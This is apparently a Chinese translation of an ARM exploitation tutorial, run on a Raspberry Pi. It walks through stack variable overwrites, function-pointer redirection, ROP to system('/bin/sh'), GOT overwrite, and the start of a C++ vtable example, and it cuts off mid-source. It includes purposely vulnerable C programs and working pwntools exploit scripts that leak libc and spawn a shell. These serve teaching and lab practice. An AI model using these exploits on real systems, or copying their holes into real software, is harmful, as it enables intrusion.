原文地址:https://quequero.org/2017/11/arm-exploitation-iot-episode-3/
作者:andrea sindoni
翻译:大部分来源于谷歌的网页翻译,对谷歌翻译表示感谢。
祝大家双11能解出难度大于漏洞利用的题—优惠券的最佳搭配方案
在之前第一篇第二篇中,我们已经看到了一些关于ARM逆向和shellcode编写的基本概念。在这最后一部分将尽可能简单地介绍一些利用方式。
主题列表是:
- 修改局部变量的值
- 重定向执行流程
- 覆盖返回地址
- GOT覆盖
- C ++虚拟表
我们将使用GEF (https://github.com/hugsy/gef)由@hugsy为逆向工程和漏洞利用而开发的多架构GDB的增强功能。
GEF是针对x86,ARM,MIPS,PowerPC和SPARC的一系列命令,让GDB再次为开发者提供酷炫的命令
修改局部变量的值
我们以修改一个局部变量为最初的例子,源码:stack1.c
#include <stdio.h>
char pwdSecret[] = "stack123!";
void print_secr(){
printf("Password is %s\n", pwdSecret);
}
int main(int argc, char **argv){
int check=0;
char buffer[32];
gets(buffer);
if(check == 0x74696445) {
print_secr();
}else{
printf("No password to show\n");
}
}
使用-g选项编译程序以便于分析。
root@raspberrypi:/home/pi/arm/episode3# gcc -o stack1 stack1.c -g
stack1.c: In function ‘main’:
stack1.c:15:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buffer);
^
/tmp/ccA0dlly.o: In function `main':
stack1.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.
编译器建议不要使用gets(),不要忽略编译器的警告;例如,可以使用fgets()函数,但是我们的目标是证明上面的代码实际上是危险的。
让我们从这里开始:
echo `python -c 'print "A"*41'` | ./stack1
正如我们所期望的那样,存在段错误
让我们来分析崩溃,打开gdb并在指令处设置一个断点
gets(buffer);
然后插入下面的有效载荷
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
继续nexti并查看缓冲区的内容
gef> x/12x buffer
0x7efff664:0x41414141 0x41414141 0x41414141 0x41414141
0x7efff674:0x41414141 0x41414141 0x41414141 0x00004141
0x7efff684:0x00000000 0x00000000 0x76e8f678 0x76fb4000
我们可以看到从0xbefff664到0xbefff664 + 30的0x41字节的顺序,我们也可以注意到地址0xbefff684是“check”局部变量的地址
gef> p &check
$2 = (int *) 0x7efff684
那么如果我们发送更长的有效载荷,我们可以覆盖“检查”变量。
例如,如果我们用这个0x45646974覆盖检查变量,则应该打印密码。
重新启动程序并发送以下有效载荷:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdit
我们在gets指令之后转储缓冲区数组:
gef> x/12x buffer
0x7efff664: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff674: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff684: 0x74696445 0x00000000 0x76e8f678 0x76fb4000
如预期的那样,“检查”变量现在被覆盖
gef> p check
$3 = 0x74696445
继续执行
Continuing.
Password is stack123!
[Inferior 1 (process 7243) exited normally]
我们可以用python自动化一切:
root@raspberrypi:/home/pi/arm/episode3# echo `python -c 'print "A"*32+"Edit"'` | ./stack1
Password is stack123!
重定向执行流程
我们将看到如何重定向执行流程。首先分析下面的代码:
#include <stdio.h>
#include <string.h>
char msgSecret[] = "This is the secret message";
char msgDefault[] = "This is the default message";
typedef struct _msg_struct{
char message[32];
int (*print_msg)();
}msg_struct;
int print_secr(){
printf("Congrats! %s\n", msgSecret);
return 0;
}
int print_default(){
printf("Hello! %s\n", msgDefault);
return 0;
}
int main(int argc, char **argv){
char message[80];
msg_struct p;
printf("Please enter a message: \n");
gets(message);
if(*message){
p.print_msg=print_default;
strcpy(p.message, message);
p.print_msg();
}else{
printf("Insert the message!\n");
}
return 0;
}
运行该程序并输入以下字符串:
“AAAAAA”
看看p.print_msg的地址:
gef> x/x &p.print_msg
0x7efff614: 0x000104f8
查看变量p.username的一些字节:
gef> x/9x p.message
0x7efff5f4: 0x41414141 0x00004141 0x76ffd14c 0x76fffc50
0x7efff604: 0x7efff654 0x7efff650 0x00000000 0x76ffecf0
0x7efff614: 0x000104f8
我们可以推断,如果我们插入更多的字节(用户输入),我们可以覆盖函数指针的地址0x7efff614的值
我们试着插入下面的有效载荷:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
我们在以下位置设置断点:
38 p.print_pwd();
看看p.print_msg的地址:
gef> x/x &p.print_msg
0x7efff614: 0x42424242
gef> x/9x p.message
0x7efff5f4: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff604: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff614: 0x42424242
函数指针的值被替换为0x42424242,现在我们试着用print_secr()函数的地址来改变这个值。
gef> p print_secr
$1 = {int ()} 0x104d0 <print_secr>
gef> set *(int*)0x7efff614=0x104d0
gef> x/9x p.message
0x7efff5f4: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff604: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff614: 0x000104d0
然后继续执行:
gef> c
Continuing.
Congrats! This is the secret message
[Inferior 1 (process 10712) exited normally]
再次…我们可以使用python自动化一切:
root@raspberrypi:/home/pi/arm/episode3# python -c "print 'A'*32 + '\xd0\x04\x01\x00'" | ./redirect_execution
Please enter a message:
Congrats! This is the secret message
重要的提示
如果我们看一下栈权限(例如vmmap),我们可以看到这个范围是可执行的:
0x7efdf000 0x7f000000 0x00000000 rwx [stack]
在后面的章节中,我们将使用一个不可执行的堆栈部分.
如果我们用编译器选项“ -z noexecstack ” 编译程序 (redirect_execution.c)
root@raspberrypi:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack
并看看堆栈权限:
gef> vmmap
Start End Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution
0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution
0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution
0x00022000 0x00043000 0x00000000 rw- [heap]
0x76e7a000 0x76fa4000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fa4000 0x76fb3000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb3000 0x76fb5000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb5000 0x76fb6000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb6000 0x76fb9000 0x00000000 rw-
0x76fb9000 0x76fbe000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fbe000 0x76fcd000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fcd000 0x76fce000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so
0x76fef000 0x76ff1000 0x00000000 rw-
0x76ff8000 0x76ffb000 0x00000000 rw-
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]
0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so
0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so
0x7efdf000 0x7f000000 0x00000000 rwx [stack]
0xffff0000 0xffff1000 0x00000000 r-x [vectors]
该堆栈仍然可执行.
经过快速分析,我们可以明白,一切的原因是共享库libarmmem.so,它使用“/etc/ld.so.preload”文件加载到内存中
root@raspberrypi:/home/pi/arm/episode3# cat /etc/ld.so.preload
/usr/lib/arm-linux-gnueabihf/libarmmem.so
我们可以验证GNU_STACK程序头标记为RWE:
root@raspberrypi:/home/pi/arm/episode3# readelf -l /usr/lib/arm-linux-gnueabihf/libarmmem.so
Elf file type is DYN (Shared object file)
Entry point 0x568
There are 6 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00000000 0x00000000 0x043f0 0x043f0 R E 0x10000
LOAD 0x0043f0 0x000143f0 0x000143f0 0x00130 0x00134 RW 0x10000
DYNAMIC 0x0043fc 0x000143fc 0x000143fc 0x000e8 0x000e8 RW 0x4
NOTE 0x0000f4 0x000000f4 0x000000f4 0x00024 0x00024 R 0x4
GNU_EH_FRAME 0x0042cc 0x000042cc 0x000042cc 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
Section to Segment mapping:
Segment Sections...
00 .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
01 .init_array .fini_array .jcr .dynamic .got .data .bss
02 .dynamic
03 .note.gnu.build-id
04 .eh_frame_hdr
05
这意味着那些使用我的相同raspbian版本(我还没有验证其他版本)的人遭受同样的问题:部分堆栈是可执行的.
造成这个问题的原因之一是汇编文件 (https://github.com/RPi-Distro/arm-mem/blob/master/architecture.S) 缺少了GNU堆栈选项
怎么修复呢?
我们可以添加这个:
/* Prevent the stack from becoming executable */
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif
到architecture.S文件.
我就修复后的文件放到这里https://github.com/invictus1306/arm-mem,你可以下载编译:
root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# make
gcc -c -o architecture.o architecture.S
gcc -c -o memcmp.o memcmp.S
gcc -c -o memcpymove.o memcpymove.S
gcc -c -o memcpymove-a7.o memcpymove-a7.S
gcc -c -o memset.o memset.S
gcc -std=gnu99 -O2 -c -o trampoline.o trampoline.c
gcc -shared -o libarmmem.so architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o
ar rcs libarmmem.a architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o
gcc -std=gnu99 -O2 -c -o test.o test.c
gcc -o test test.o
验证GNU_STACK程序头:
root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# readelf -l libarmmem.so
Elf file type is DYN (Shared object file)
Entry point 0x588
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00000000 0x00000000 0x04410 0x04410 R E 0x10000
LOAD 0x004f0c 0x00014f0c 0x00014f0c 0x00130 0x00134 RW 0x10000
DYNAMIC 0x004f18 0x00014f18 0x00014f18 0x000e8 0x000e8 RW 0x4
NOTE 0x000114 0x00000114 0x00000114 0x00024 0x00024 R 0x4
GNU_EH_FRAME 0x0042ec 0x000042ec 0x000042ec 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x004f0c 0x00014f0c 0x00014f0c 0x000f4 0x000f4 R 0x1
Section to Segment mapping:
Segment Sections...
00 .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
01 .init_array .fini_array .jcr .dynamic .got .data .bss
02 .dynamic
03 .note.gnu.build-id
04 .eh_frame_hdr
05
06 .init_array .fini_array .jcr .dynamic
编辑文件“/etc/ld.so.preload”,添加新共享库的路径
root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# cat /etc/ld.so.preload
/home/pi/arm/episode3/arm-mem-master/libarmmem.so
回到我们的例子,并尝试再次编译它:
root@raspberrypi:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack
现在我们可以验证堆栈不可执行了:
gef> vmmap
Start End Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution
0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution
0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution
0x76e79000 0x76fa3000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fa3000 0x76fb2000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb2000 0x76fb4000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb4000 0x76fb5000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so
0x76fb5000 0x76fb8000 0x00000000 rw-
0x76fb8000 0x76fbd000 0x00000000 r-x /home/pi/arm/episode3/arm-mem-master/libarmmem.so
0x76fbd000 0x76fcc000 0x00005000 --- /home/pi/arm/episode3/arm-mem-master/libarmmem.so
0x76fcc000 0x76fcd000 0x00004000 r-- /home/pi/arm/episode3/arm-mem-master/libarmmem.so
0x76fcd000 0x76fce000 0x00005000 rw- /home/pi/arm/episode3/arm-mem-master/libarmmem.so
0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so
0x76fef000 0x76ff1000 0x00000000 rw-
0x76ff8000 0x76ffb000 0x00000000 rw-
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]
0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so
0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so
0x7efdf000 0x7f000000 0x00000000 rw- [stack]
0xffff0000 0xffff1000 0x00000000 r-x [vectors]
已经修复好了,现在我们可以继续下一章.
覆盖返回地址
在本章中,我们将看到如何使用简单的ROP小工具来弹出一个shell。
我们要分析的文件将不能执行堆栈, 启用ASLR,没有PIE,所以我们只能找到在libc中导入的函数的地址。
这是文件 (stack_overflow.c):
#include <stdio.h>
void rop_func(){
asm volatile(
"pop {r0, r1, r2, lr} \n\t"
"bx lr \n\t"
);
}
void msg_func(){
char message[64];
read(0, message, 256);
}
int main(){
msg_func();
write(1, "Good done!\n",12);
return 0;
}
编译程序
root@raspberrypi:/home/pi/arm/episode3# gcc -o stack_overflow stack_overflow.c -g
在gef中运行checksec命令
gef> checksec
[+] checksec for '/home/pi/arm/episode3/stack_overflow'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
启用ASLR
root@raspberrypi:/home/pi/arm/episode3# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2
我们可以注意到有一个函数包含一个小的指令序列(rop_func)。
接下来使用的方式不是利用该程序的唯一方式。
我们将采用的方式是使用“write”函数打印“read”函数(泄漏)的地址,从而可以计算“system”函数的地址并使用“/bin/sh“。
总结一下:
- 获取系统功能的地址
- 执行system(“/bin/sh”)
获取系统功能的地址
启动程序并第12行设置断点
-> 12 read(0, message, 256);
发送的有效载荷是
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
继续下一条指令
gef> next
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
查看栈
gef> x/18x $sp
0x7efff630: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff640: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff650: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff660: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff670: 0x7efff60a 0x000104bc
现在到了这条指令:
-> 0x104a8 <msg_func+32> sub sp, r11, #4
继续:
-> 0x104ac <msg_func+36> pop {r11, pc}
看看栈:
gef> x/2x $sp
0x7efff670: 0x7efff60a 0x000104bc
然后,如果我们将发送更多的字节(作为有效载荷),我们将能够覆盖地址0x7efff670和0x7efff674。
通过手动设置寄存器, 可以跳到“rop_func” function
gef> p rop_func
$1 = {void ()} 0x1046c <rop_func>
gef> set *(int*)($sp+4)=0x1046c
gef> set *(int*)$sp=0x00000001
gef> x/2x $sp
0x7efff670: 0x00000001 0x0001046c
如果我们继续使用stepi指令,则可以使用rop_func:
-> 0x1046c <rop_func+0> push {r11} ; (str r11, [sp, #-4]!)
0x10470 <rop_func+4> add r11, sp, #0
0x10474 <rop_func+8> pop {r0, r1, r2, lr}
0x10478 <rop_func+12> bx lr
0x1047c <rop_func+16> sub sp, r11, #0
0x10480 <rop_func+20> pop {r11} ; (ldr r11, [sp], #4)
让我们前往地址0x10474:
-> 0x10474 <rop_func+8> pop {r0, r1, r2, lr}
准备堆栈,我们要使用pop指令来获取读取函数的地址(泄漏),然后我们应该设置寄存器的值
r0 - standard output = 0x00000001
r1 - address of read = 0x2100c
r2 - number of bytes to write = 0x00000004
lr - address of write = 0x104C8
为了进行调用write
write(r0, 0x2100c, 0x4)
我们手动设置堆栈
gef> set *(int*)($sp+4)=0x2100c
gef> set *(int*)($sp+8)=0x00000004
gef> set *(int*)($sp+12)=0x104C8
gef> x/4x $sp
0x7efff674: 0x00000001 0x0002100c 0x00000004 0x000104c8
在分支指令(bx lr)之后,我们在0x104c8处到达写入函数的地址
-> 17 write(1, "Good done!\n",12);
-> 0x104c8 <main+24> bl 0x1032c
参数如下
$r0 : 0x00000001
$r1 : 0x0002100c -> 0x76f3a150 -> <read+0> ldr r12, [pc, #96] ; 0x76f3a1b8
$r2 : 0x00000004
nexti继续
我们得到了read函数的地址,从这里我们可以计算出system函数的地址,暂时先不计算system,在最终的exploit中我们会计算他。
到达这条指令
0x104d4 <main+36> pop {r11, pc}
现在我们要返回读取函数,我们必须设置“ pc ”等于read函数在我们的二进制文件(0x104d4)中的地址。
gef> set *(int*)$sp=0x00000000
gef> set *(int*)($sp+4)=0x10488
如果我们继续,stepi指令将执行到read函数调用
-> 0x10488 <msg_func+0> push {r11, lr}
0x1048c <msg_func+4> add r11, sp, #4
0x10490 <msg_func+8> sub sp, sp, #64 ; 0x40
0x10494 <msg_func+12> sub r3, r11, #68 ; 0x44
0x10498 <msg_func+16> mov r0, #0
0x1049c <msg_func+20> mov r1, r3
执行system(“/bin/sh”)
我们可以使用相同的rop
pop {r0, r1, r2, lr}
bx lr
去调用system函数
system(r0)
在这种情况下,寄存器的值将是
r0 – address of /bin/sh
r1 – not used
r2 – not used
lr - address of system
继续并输入以下有效载荷:
gef>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
再一次到达一样的pop指令
-> 0x104ac <msg_func+36> pop {r11, pc}
填写r11和pc寄存器
gef> find &system,+1000000,"/bin/sh"
0x76f96588
1 pattern found.
gef> set *(int*)$sp=0x76f96588
gef> set *(int*)($sp+4)=0x1046C
运行到0x10474并且修改lr寄存器
-> 0x10474 <rop_func+8> pop {r0, r1, r2, lr}
获取system()函数的地址:
gef> p system
$4 = {<text variable, no debug info>} 0x76eb0154 <system>
准备栈,我们只需要在$sp + 12处填充system地址
gef> set *(int*)($sp+12)=0x76eb0154
gef> x/4x $sp
0x7efff674: 0x76f96588 0x00000000 0x76e8f678 0x76eb0154
继续
gef> c
Continuing.
我们得到一个shell:
#pwd
/home/pi/arm/episode3
我们可以使用这个脚本来自动化这些步骤 (文件:exploit_stack_overf.py)
#!/usr/bin/env python2
from pwn import *
ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"
libc = ELF('libc-2.24.so')
shell = ssh(user, ip, password=pwd, port=port)
sh = shell.run('/home/pi/arm/episode3/stack_overflow')
payload = "A"*64
payload += p32(0x1) # r0 - standard output
payload += p32(0x1046C) # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x2100c) # r1 - address of read
payload += p32(0x4) # r2 - number of bytes to write
payload += p32(0x104C8) # lr - address of write
payload += p32(0x00) # not used
payload += p32(0x10488) # jump to the read - 0x104d4 <main+36> pop {r11, pc}
sh.sendline(payload)
# get the read address
read_address = u32(sh.recv(4))
log.info('address of the read: %#x' % read_address)
# get the libc_base address
libc_base_address = read_address - libc.symbols['read']
# get the system address
system_address = libc_base_address + libc.symbols['system']
log.info('address of the system: %#x' % system_address)
shell_address = libc_base_address + next(libc.search("/bin/sh"))
payload = "A"*64
payload += p32(shell_address) # r0 - /bin/sh address
payload += p32(0x1046C) # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x00) # r1 - not used
payload += p32(0x00) # r2 - not used
payload += p32(system_address) # lr - address of the system
sh.sendline(payload)
sh.interactive()
shell.close()
执行这个脚本
GOT 覆盖
本章的目的是了解如何覆盖全局偏移量表(GOT)以重定向代码执行和弹出一个shell,我们将只使用一个ROP。
文件:got_overw.c
#include <stdio.h>
#include <math.h>
#define MAX 12
#define PI 3.14159265
int main()
{
static int arr[MAX];
char ch;
int num, ret;
int flag=1;
unsigned int i, in_num, out_num, cos_param, write_index;
printf("Please fill the array:\n");
for(i=0;i<MAX;i++){
if(scanf("%d", &in_num)==1){
arr[i]=in_num;
}
else{
printf("Please enter a number\n");
return 0;
}
}
while(flag){
printf("Select the index of the element that you want to read: \n");
if(scanf("%d", &num)!=1){
printf("Please enter a number\n");
return 0;
}
printf("At position %d the value is %d\n", num, arr[num]);
printf("Do you want read another number? [y/n]\n");
scanf(" %c", &ch);
if(ch!='y'){
flag=0;
}
}
printf("How many value do you want to modify?\n");
if(scanf("%d", &cos_param)!=1){
printf("Please enter a number:\n");
return 0;
}
//param 180
ret = cos(cos_param * PI /180.0);
if (ret<0){
write_index = MAX;
}
else
{
write_index = 1;
}
while(write_index){
if(flag!=0){
printf("Do you want to edit some value in the array? [y/n]\n");
scanf(" %c", &ch);
}
if(ch=='y' || flag==0){
printf("Select the index of the element that you want to modify\n");
scanf("%d", &num);
printf("Enter the new value\n");
scanf("%d", &out_num);
arr[num]=out_num;
write_index--;
flag=1;
}
else{
break;
}
}
printf("Good done!\n");
return 0;
}
编译程序,这次栈不可执行
root@raspberrypi:/home/pi/arm/episode3# gcc -o got_overw got_overw.c -g -lm
ASLR已启用
让我们看看这个简单的程序的行为
- 用12个数字填充数组
- 选择数组中要读取的元素的索引
请注意一下几个方面,
1. “num”变量是一个整数,arr[num] 是会被打印输出的
2. 可以读取其他num位置的数据
3. 你所输入的想要修改的次数
This is not really true, 我们必须输入一个保存在变量“cos_param”中的数字,然后,如果
cos(cos_param * PI /180.0)<0
我们可以编辑12个元素,否则我们只能编辑一个元素,例如,如果我们要编辑12个元素,“cos_param”的值必须是180。
此时我们可以选择要写入的元素的索引和要插入的值。
我们来看一个例子
我说过要注意“num”变量,例如,如果我们插入-10会发生什么?
在第35行设置断点
拿到put函数的地址 (GOT section)
也就是说,我们有了任意地址读的漏洞,通过这个漏洞可以泄露一些重要的信息(记住ALSR是打开的)
此时,我们看到了修改一个地址的可能
arr[num]=out_num;
在这个例子中通过一种可控的方式我们可以修改内存数据,记住此时的got段是可写的。
总之,我们现在有了任意地址读写漏洞
我们将通过简单的步骤去构建exp,并获得shell
将“/bin/sh”字符串放入“arr”数组中
获得在libc库中的system函数地址
准备栈
编辑在GOT表中的printf函数的地址(因为printf函数会在随后被调用)
试一下
1- 将“/bin/sh”字符串放入“arr”数组中
2- 获得在libc库中的system函数地址
libc的main函数相对于arr数组来讲下标是(-9)
在最后的exp中,我们会看到如何计算system函数的地址,现在,我们可以用简单的方法获得它
3- 准备栈
建议用这个工具来寻找rophttps://github.com/JonathanSalwan/ROPgadget by @JonathanSalwan
, ROPgadget支持ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS 多种架构.
此例中中,我们需要把“/bin/sh”字符串的地址压人“r0”寄存器中,接着调用system函数
system(r0)
同时我们发现“/bin/sh”字符串的地址在“r2”寄存器中,所以找到一个rop
root@raspberrypi:/home/invictus/Scrivania/article/episode3# ROPgadget --binary libc-2.24.so | grep "mov r0, r2"
...
0x000ed748 : mov r0, r2 ; pop {r4, pc}
…
根据我们所选的rop,我们必须把system的地址放入$sp+4(也就是局部变量“cos_param”)
4- 编辑在GOT表中的printf函数的地址(因为printf函数会在随后被调用)
我们知道GOT表中printf函数所在地址位于arr数组下标为“-10”的地方
输入 “-10”, 然后接着输入rop的地址作为“out_num”的值
-> 74 scanf("%d", &out_num);
gadget 的偏移是
0x000ed748 : mov r0, r2 ; pop {r4, pc}
libc 基址 0x76dfa000
所以gadget地址是
gadget_address = libc_base + gadget_offset
我们现在可以输入gadget的地址 (0x76ee7748)
继续执行
-> 84 printf("Good done!\n");
输入“stepi”指令 随后查看 “r2” 寄存器的值
继续, 我们得到shell
利用程序的代码如下:
#!/usr/bin/env python2
from pwn import *
ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"
libc = ELF('libc-2.24.so')
gadget_offset = 0xed748
shell = ssh(user, ip, password=pwd, port=port)
sh = shell.run('/home/pi/arm/episode3/got_overw')
# fill the array
sh.recvuntil('array:\n')
sh.sendline('1852400175') # "nib/"
sh.sendline('6845231') # "hs/"
for i in range(0,10):
sh.sendline(str(i))
sh.recvuntil('read: \n')
# Leak the libc address
sh.sendline('-9') # offset to the libc in the GOT section
ret = sh.recvline().split()
libc_main = int(ret[6])
# libc_base = libc_main - libc_base_offset
libc_base = libc_main - libc.symbols['__libc_start_main']
log.info('libcbase: %#x' % libc_base)
# address of the system function
system_addr = libc_base + libc.symbols['system']
log.info('system address: %#x' % system_addr)
sh.recvuntil('[y/n]\n')
# do not read other values
sh.sendline('n')
sh.recvuntil('modify?\n')
# send the system function address
sh.sendline(str(system_addr))
sh.recvuntil('modify\n')
sh.sendline('-10') # offset of the put in the GOT section
sh.recvuntil('value\n')
# gadget address
gadget_address = libc_base + gadget_offset
log.info('gadget address: %#x' % gadget_address)
# send the gadget address
sh.sendline(str(gadget_address))
sh.interactive()
shell.close()
C++ 虚表
在最后一个示例中, 我们将了解如何通过使用 c++ 虚表来重定向易受攻击的应用程序的执行流程.
这是我们必须分析的应用程序: uaf.c
#include <iostream>
#include <cerrno>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#define PORT 4444
#define MAX_NUM 10
using namespace std;
int fd_sock;
static int roulette;
class Note{
protected:
unsigned int note_number;
string note_desc[10];
public:
void insert_note(string ins_note){
if (note_number<10){
note_desc[note_number] = ins_note;
cout << "Note added!" << endl;
note_number++;
}else{
cout << "You can not add more notesd!" << endl; } } void delete_note(){ if(note_number>0){
note_number--;
}else{
note_number=0;
}
if (!note_desc[note_number].empty()){
note_desc[note_number].clear();
cout << "Note deleted!" << endl;
}else{
cout << "No note to delete!" << endl;
}
}
int edit_note(unsigned int new_index, string new_note){
if((new_index<10)&&(!note_desc[new_index].empty())){
note_desc[new_index] = new_note;
cout << "Note modified!" << endl;
}else{
cout << "You can not edit this note" << endl;
}
return 0;
}
virtual int show_all_notes(){
return 0;
}
};
class Edit : public Note{
public:
virtual int show_all_notes(){
unsigned int i;
for(i=0;i<note_number;i++){
cout << note_desc[i] << endl;
}
return 0;
}
};
void stack_pivot(){
asm volatile(
"ldr sp,[r4, #0x0c] \n\t"
"ldr sp, [sp] \n\t"
"pop {lr, pc} \n\t"
);
}
void set_address(){
int *num = new int[12];
int tmp;
cout << "Enter the number" << endl; cin >> tmp;
num[0]=tmp;
cout << "Number correctly inserted" << endl; } void stack_info(){ string str; printf("Debug informations area \n"); cin >> str;
printf(str.c_str());
}
int note(){
int client_sockfd;
struct sockaddr_in caddr;
socklen_t acclen = sizeof(caddr);
unsigned int index = 0;
unsigned int index_to_edit=0;
string new_note;
string edit_not;
int res, i;
char c, ch;
char *tmp;
string input;
char wel_msg[512] = "Welcome! Enjoy to use this app to manage your notes";
acclen = sizeof(caddr);
Edit *edit_obj = new Edit;
while(1){
if((client_sockfd = accept(fd_sock, (struct sockaddr *) &caddr, &acclen)) < 0 ){
std::cerr << strerror(errno) << std::endl;
exit(1);
}
dup2(client_sockfd, 0);
dup2(client_sockfd, 1);
dup2(client_sockfd, 2);
cout << wel_msg << endl;
while(1){
cout << "1- Insert a note" << endl;
cout << "2- show all notes" << endl;
cout << "3- Edit a note" << endl;
cout << "4- Delete the last note" << endl;
cout << "5- Set your address :)" << endl;
cout << "0- Change the message" << endl;
cout << endl; std::cin.clear(); cin >> input;
c = input[0];
index = atoi(&c);
switch(index){
case 1:
cout << "Enter the new value: " << endl; cin >> new_note;
edit_obj->insert_note(new_note);
break;
case 2:
edit_obj->show_all_notes();
break;
case 3:
cout << "Insert the index of the note to modify: " << endl; cin >> input;
c = input[0];
index_to_edit = atoi(&c);
cout << "Enter the new value: " << endl; cin >> edit_not;
res = edit_obj->edit_note(index_to_edit, edit_not);
break;
case 4:
edit_obj->delete_note();
cout << "Try to set the roulette number: " << endl; cin >> roulette;
delete edit_obj;
break;
case 5:
set_address();
break;
case 0:
cout << "Enter the new message: " << endl;
tmp = wel_msg;
i=0;
ch = std::cin.get();
while ((ch = std::cin.get()) != 51 && i<256){
memcpy(tmp, &ch, 256);
tmp = tmp + 1;
i += 1;
}
break;
case 9:
stack_info();
cout << "Debug informations" << endl;
cout << "Address of wel_msg" << "---" << &wel_msg << endl;
cout << "Address of roulette" << "---" << &roulette << endl;
cout << "Well done!" << endl;
break;
default:
cout << "Please select a correct option! " << endl;
break;
}
}
}
close(client_sockfd);
return 0;
}
int main(){
pid_t pid;
int var = 1;
struct sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
sockaddr.sin_port = htons(PORT);
while(1){
pid = fork();
if ( pid == 0 ){
cout << "Run pid=" << getpid() << endl;
if ((fd_sock = socket(PF_INET, SOCK_STREAM, 0)) < 0){
std::cerr << strerror(errno) << std::endl;
exit(1);
}
if(setsockopt(fd_sock, SOL_SOCKET, SO_REUSEADDR, &var, sizeof(int)) <0) {
std::cerr << strerror(errno) << std::endl;
exit(1);
}
